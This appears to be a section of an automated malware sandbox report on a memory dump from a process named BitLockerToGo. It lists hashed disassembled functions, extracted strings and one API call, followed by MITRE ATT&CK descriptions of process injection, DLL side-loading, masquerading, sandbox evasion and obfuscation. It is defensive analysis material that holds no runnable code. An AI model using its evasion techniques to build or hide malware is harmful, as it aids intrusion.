Instruction Fuzzy Hash: AF41557264D341CFD750DB38C0946AABBE2FBA5350F598A2CE498873A5E6399845CB03

Uniqueness

Uniqueness Score: -1.00%

Function 007718A0 Relevance: 1.5, Strings: 1, Instructions: 295COMMON

Download Yara Rule

Strings

jLB,, xrefs: 00771A59

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: jLB,
API String ID: 0-4241030587
Opcode ID: e6c15d33884363980636d5209b437716513d187b87e836b00b3c2ae03407092b
Instruction ID: 7ced1b89926da1305f67adcbefad8fdbbd16340f688ed03a1e3ae9f07e016759
Opcode Fuzzy Hash: e6c15d33884363980636d5209b437716513d187b87e836b00b3c2ae03407092b
Instruction Fuzzy Hash: 979108242047818BDB398B3D84A0776FBE2AF56385F58C65DC4EB0B792E33CA446CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00771BC5 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

jLB,, xrefs: 00771D79

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: jLB,
API String ID: 0-4241030587
Opcode ID: 5e3d2d1bd117ca2470597d96374188b40199133aec08722a8dec281d563e8ae0
Instruction ID: 2a5d108e8b688668ae2246d0f669c7a3d341cee9ac1c85fb7f918ad41eb0675b
Opcode Fuzzy Hash: 5e3d2d1bd117ca2470597d96374188b40199133aec08722a8dec281d563e8ae0
Instruction Fuzzy Hash: DC81F824204B818BDB368B3D8490776FBE2AF57385F68876DD8EB0B682D27C9845C751

Uniqueness

Uniqueness Score: -1.00%

Function 00756650 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

,, xrefs: 007567A3

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 60fcdb240dd2fe15ca5b708195fa9c78dc10738f58be7aadb04628024c961b26
Instruction ID: 054dbcf4cb994650622761dcd15c3728a40ef2cf6731911d5240b286908ad31d
Opcode Fuzzy Hash: 60fcdb240dd2fe15ca5b708195fa9c78dc10738f58be7aadb04628024c961b26
Instruction Fuzzy Hash: AAB13A712093819FD314CF68C88465BFBE0AFA9308F444A5DF8D897382D775EA18CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0076CBF0 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

\yF{, xrefs: 0076CE58

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: \yF{
API String ID: 0-2588638446
Opcode ID: f9c63d2b7d852105d4438f73022fad6436d9dd10d73908f6ea812d9036271d4c
Instruction ID: 04875fdad556b0a949287a8c0b66848db0445a93936505308b7539046c5d0060
Opcode Fuzzy Hash: f9c63d2b7d852105d4438f73022fad6436d9dd10d73908f6ea812d9036271d4c
Instruction Fuzzy Hash: FA918CB05083419BD725CF14C89176BBBF1FF82354F148A2DE8E69B291E778D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0076A181 Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

,z, xrefs: 0076A308

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,z
API String ID: 0-1672910220
Opcode ID: e5f64574a3094cf253224ff754547e1f2a5e54aebccb4b225fce1d0807f06928
Instruction ID: 5d927d178959d9d7eb4059271eaeaf5e60bcad19b2843d57c84e02e087e59479
Opcode Fuzzy Hash: e5f64574a3094cf253224ff754547e1f2a5e54aebccb4b225fce1d0807f06928
Instruction Fuzzy Hash: F13133B02083829FD324CF14D4A065EBBF2BBC5344F518E2DE8EA5B280D77895468F97

Uniqueness

Uniqueness Score: -1.00%

Function 00764075 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

iN%, xrefs: 00764104

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: iN%
API String ID: 0-596375016
Opcode ID: 0b6a0d8e98c90e621a1c37e2d95293e4a72fe85c85bb71f0d532afc2f8e4f809
Instruction ID: aaa774fc049e77b2566461d569643e21e2265372cacdf31ce0ca33b8153754cf
Opcode Fuzzy Hash: 0b6a0d8e98c90e621a1c37e2d95293e4a72fe85c85bb71f0d532afc2f8e4f809
Instruction Fuzzy Hash: C21180B05007428BE3208F28D894B13FBB1FF02304F048A5CD4968B693C779E959CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00786CA0 Relevance: 1.3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

Strings

@, xrefs: 00786CEF

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 9db935650dc991dab1289ee203ed8719f47895516a99f327c228a2c370b61589
Instruction ID: f77eea1937a6756be115ff73dd39056b080f37d6b8ec924b122ab5dcd8b2c0b9
Opcode Fuzzy Hash: 9db935650dc991dab1289ee203ed8719f47895516a99f327c228a2c370b61589
Instruction Fuzzy Hash: 870144B5919300ABD310DF44D884A6BBBF8FFC5324F44A91DF99457290D3B4A848CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 00784BF0 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

"[|, xrefs: 00784C47

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "[|
API String ID: 0-3295998484
Opcode ID: fa77c4d96e10fe7edd4656f401ada4da727b96ab1c81ee184890be72c148b513
Instruction ID: c2000ceffde4e33824c0750940e58ea398a01e1892ffef822613e59c25217c75
Opcode Fuzzy Hash: fa77c4d96e10fe7edd4656f401ada4da727b96ab1c81ee184890be72c148b513
Instruction Fuzzy Hash: EFE0C275A493008BC304DF0AC551B3AF3E5BB89708F10986EA895D3391DB74D806CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00784C45 Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

"[|, xrefs: 00784C47

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "[|
API String ID: 0-3295998484
Opcode ID: 5d747a4252a2fa26b25cfbcebc7a792b68f7a344538d4382b7d693fc68f8fad1
Instruction ID: b74a1c19fc17a6b387c3ccc83c384bbd427034fc0099cd8512a21b85e3939138
Opcode Fuzzy Hash: 5d747a4252a2fa26b25cfbcebc7a792b68f7a344538d4382b7d693fc68f8fad1
Instruction Fuzzy Hash: 88C09B79F5415057C544EE04D861871F3FD574B514F15B45B8C42E3391E524DC03454C

Uniqueness

Uniqueness Score: -1.00%

Function 00757BF0 Relevance: .8, Instructions: 794COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a137ff7e2d96349e795930ac720a9026bff4b562f322f4c68b62408bbb5f71a
Instruction ID: 8f29b220f23a3ee6d878141696644abf018fb6ad6a1ededd28ba065525b9d134
Opcode Fuzzy Hash: 7a137ff7e2d96349e795930ac720a9026bff4b562f322f4c68b62408bbb5f71a
Instruction Fuzzy Hash: F652F4315087118BC765DF18D8842BAB3E1FFC4316F188A2DDCD697285EB79A859C783

Uniqueness

Uniqueness Score: -1.00%

Function 007532B0 Relevance: .7, Instructions: 703COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61939374c91f2f80668e940b5b88e7cb2386447e3156b8196897ba37413c9a2e
Instruction ID: 5d2f138a5e45dc1a3900b07c22b9f3c689d176c3986070cb1b37d41e52c8fe25
Opcode Fuzzy Hash: 61939374c91f2f80668e940b5b88e7cb2386447e3156b8196897ba37413c9a2e
Instruction Fuzzy Hash: AC5200715087418FC725CF29C0802AAF7E1FF98315F188A6DE8DA97761D7B8B949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00753D10 Relevance: .7, Instructions: 651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679f0508867fd9f147224570bcce3f1ec003fa533d5bba6e46853b1826c9905c
Instruction ID: fdb6a58853a9df54be1e73f3d28372e0b5ecf7edca39d0c0d21e5f42d0a405dd
Opcode Fuzzy Hash: 679f0508867fd9f147224570bcce3f1ec003fa533d5bba6e46853b1826c9905c
Instruction Fuzzy Hash: A442BE71514B118FC728CF28C9806AAB7F1FF55315B548A2DE9978BB91D3B9F888CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00751000 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facc9f44093e8f686f00ff2c90472e1f4f4b9efa2e6d776ea0133148fdabe66d
Instruction ID: 088a97891703a6475f0c1574322b825724d62bdfd39496332054876a634042cf
Opcode Fuzzy Hash: facc9f44093e8f686f00ff2c90472e1f4f4b9efa2e6d776ea0133148fdabe66d
Instruction Fuzzy Hash: 861228619087919BD7108E18C4A03E7BBE1AB91313F988669DCD54B7D1D3BDD88DC7C2

Uniqueness

Uniqueness Score: -1.00%

Function 00756070 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a2fa742e11610b069ed8756f636d684aab4945115638931e92ac0a852f95895
Instruction ID: d52a55248b1b3639f29856a37e55a1590f99e100b2bfec8cc146656cb560604a
Opcode Fuzzy Hash: 9a2fa742e11610b069ed8756f636d684aab4945115638931e92ac0a852f95895
Instruction Fuzzy Hash: 9302B231608340CFC715CF68C88166ABBE1EF98304F58496DE9999B352E7B5DD09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00758820 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a361f2d13941508d90b285c00d718a3685b73de106423cb501f40b813193c611
Instruction ID: c090c419c6216dcaa6f412037e996b5a65ebffadb1b57be73cf3b8a35df5c818
Opcode Fuzzy Hash: a361f2d13941508d90b285c00d718a3685b73de106423cb501f40b813193c611
Instruction Fuzzy Hash: E5B19E72E087564BC3505D39C8802E6FBD7DBC1312F69C619D8A4A73D9EEFC9C494A82

Uniqueness

Uniqueness Score: -1.00%

Function 00780010 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8479215793ef1190f3c3b81142c1c5929b02711574b1dda03ab45159d5c1800d
Instruction ID: 0f5e0c3430f54e06474a5208298335c30c846c28853fdcc13856a9098dfaa4e4
Opcode Fuzzy Hash: 8479215793ef1190f3c3b81142c1c5929b02711574b1dda03ab45159d5c1800d
Instruction Fuzzy Hash: 09517BB15087498FE754EF29D89475BBBE1AB84318F104D2DE4E587391E379DA08CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00752CF0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d25c91af3de49dd89b6b3f4387ff5dbf682b06aaf89be2b5eae7074ce3bc2388
Instruction ID: 062cc439279930bdc3a5bcaab636f19f3c709a9c47a9b51d0c6ce2231c5a42da
Opcode Fuzzy Hash: d25c91af3de49dd89b6b3f4387ff5dbf682b06aaf89be2b5eae7074ce3bc2388
Instruction Fuzzy Hash: A041C822B082614BCB188A3DCC642BEBAD39FC6246F1DC579ECC5DB346E578DC055794

Uniqueness

Uniqueness Score: -1.00%

Function 00760180 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40607d563fef8ad238e1466aafc638796817bc05a94b9982aa444a5a2413e6d1
Instruction ID: c1cb65fe6ed1893cde3a30914a0896fb1345b8832d9e6b35d056d8651a885abe
Opcode Fuzzy Hash: 40607d563fef8ad238e1466aafc638796817bc05a94b9982aa444a5a2413e6d1
Instruction Fuzzy Hash: 3941D2727082540FC358CE3A88A413FBBE2ABC6310F59C73DF4A6C6295E679D9059750

Uniqueness

Uniqueness Score: -1.00%

Function 00752EA0 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bb5b747c1d29d6c40880aefab24aade8ad8b71578d3384bd23f0f7a1a9e0f7
Instruction ID: e24782a2af62c7064f7b29fb9de12d0b9aa41835f941c1be6f22ca0b6ca432f7
Opcode Fuzzy Hash: 07bb5b747c1d29d6c40880aefab24aade8ad8b71578d3384bd23f0f7a1a9e0f7
Instruction Fuzzy Hash: 2D31393675827607C3108EBDACD01A6B792DBC6316B6F4239DED0E7382D579E80682E1

Uniqueness

Uniqueness Score: -1.00%

Function 00764EA3 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86f93677a1ac94046a64f4c1a99d6456b177c859208f4a1760c78d2431adafcf
Instruction ID: fc81f9b3ae789784915005003489fe556b4cd16daa7da00a89f7afdab8975778
Opcode Fuzzy Hash: 86f93677a1ac94046a64f4c1a99d6456b177c859208f4a1760c78d2431adafcf
Instruction Fuzzy Hash: 79415B752183818FC724CF14C8A1AABB7F1FFC6355F14590CF8A24B694D7B89845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0076F990 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094264cbe31dc7f309309591f61423331fe6d3c3ada8531a6df11510e84d992c
Instruction ID: 1a614556903662a17af7dbf20e2e4f669472de38b061613de5931668d00bb355
Opcode Fuzzy Hash: 094264cbe31dc7f309309591f61423331fe6d3c3ada8531a6df11510e84d992c
Instruction Fuzzy Hash: 6B4137B0101B029BD728CF25D464B12FBB2BF96308F188A5CC4571BB96D77AB41ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 0076A31D Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 392940a58cfaea94d5b20055d0adaa2ceadbf2f6f97384548d54ba1727e88994
Instruction ID: 9235e4e51462e3ee737e12904f85fe511ee00b3818da27e313b9df91ea719a24
Opcode Fuzzy Hash: 392940a58cfaea94d5b20055d0adaa2ceadbf2f6f97384548d54ba1727e88994
Instruction Fuzzy Hash: AC21B064254311EAD734AF19CC62B7772B4FF46745F045408E9836B791F3BC8940DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00773992 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59bc3985cc4bfb599dc3d938140483ba679de8bd5196649bb325480209228c8d
Instruction ID: d03159747e52a779b0b53983400ebeaf337a89cc2257c39273d8a6e40d34260a
Opcode Fuzzy Hash: 59bc3985cc4bfb599dc3d938140483ba679de8bd5196649bb325480209228c8d
Instruction Fuzzy Hash: 0B31AEB0A14B028FD7BCCF2AD485616BAF1BB48310B10CA3E94AFC3B50DB39E5458B45

Uniqueness

Uniqueness Score: -1.00%

Function 0077E570 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a620e664b8a16c3b2027b821f47f9918b4c750b05e9443771526df122d28202b
Instruction ID: 49aa82573d810ea1f167cc37d0b1200caac52b30845c20072a8fbf11fe1fec32
Opcode Fuzzy Hash: a620e664b8a16c3b2027b821f47f9918b4c750b05e9443771526df122d28202b
Instruction Fuzzy Hash: 4011EC336051E90EC7164D3C88005657F930A97278B19C7D9F4F89B2D3F526CD8A8365

Uniqueness

Uniqueness Score: -1.00%

Function 00772FA5 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e435bc03404d985fcde6a943b1141293fcfcf154e805dbb3afddc4fd685aea
Instruction ID: bd45e8ff55dd4a839ee0b5738a4075d38646bde007b871aacfd3b258a5052bfd
Opcode Fuzzy Hash: b8e435bc03404d985fcde6a943b1141293fcfcf154e805dbb3afddc4fd685aea
Instruction Fuzzy Hash: 6A216070555B41CBE7298F34C4647A7B7E6BF92304F18965DC0E707691D739A806CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0075CD10 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 6acfd6c872b843190d78db01d1f7e868777affeb75df9271d4ef04d5e09af217
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: F6D0A7716487A50E57598D3814A05BBFFF8E947613B1824AEE8D2E3105D225EC058699

Uniqueness

Uniqueness Score: -1.00%

Function 00764C63 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d5cea6ed5ea9a6208a1b58900de0a3606eb83f44d8e82b76394b822ba31b570
Instruction ID: ea04199ba9dd6eb5e54c48504e18e9eda30747af2ebbf76faa253b0dc12e3201
Opcode Fuzzy Hash: 8d5cea6ed5ea9a6208a1b58900de0a3606eb83f44d8e82b76394b822ba31b570
Instruction Fuzzy Hash: 7FC08CB49C0200C78608AF24EC82832A3349742228B10B424D403F3382C918D8099A0F

Uniqueness

Uniqueness Score: -1.00%

Function 00766729 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c80fc6ad1ba13cd4e7ea484287bb705a7eb7ab70b00a53773e9521e0d057c5f5
Instruction ID: ecfbf30fb7efbb8024fb272069fde8e8c09e9649bfb71262ee7fbc4b5820c980
Opcode Fuzzy Hash: c80fc6ad1ba13cd4e7ea484287bb705a7eb7ab70b00a53773e9521e0d057c5f5
Instruction Fuzzy Hash: 42B09234ACA00087C31CCF04E951431A378D397208B21B429C107E3291C554E8208A4C

Uniqueness

Uniqueness Score: -1.00%

Function 00780370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000D,FB4DF9E1,00000008,?), ref: 00780449

Strings

|K, xrefs: 007803A4
ds, xrefs: 0078039C

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ds$|K
API String ID: 237503144-184553660
Opcode ID: 3863e8f7fae9401f35365910f6b626e0c38b878fb92b9a9b3042e57a872639af
Instruction ID: e978c57755d63e3d37697ef465c9c92827ebf7008fbdb1337fd1a79df81dd55f
Opcode Fuzzy Hash: 3863e8f7fae9401f35365910f6b626e0c38b878fb92b9a9b3042e57a872639af
Instruction Fuzzy Hash: 19214871158385ABD354CF14D8A4A1BB7E4FBC9648F844A2DF8E29B281D734D906CBD2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

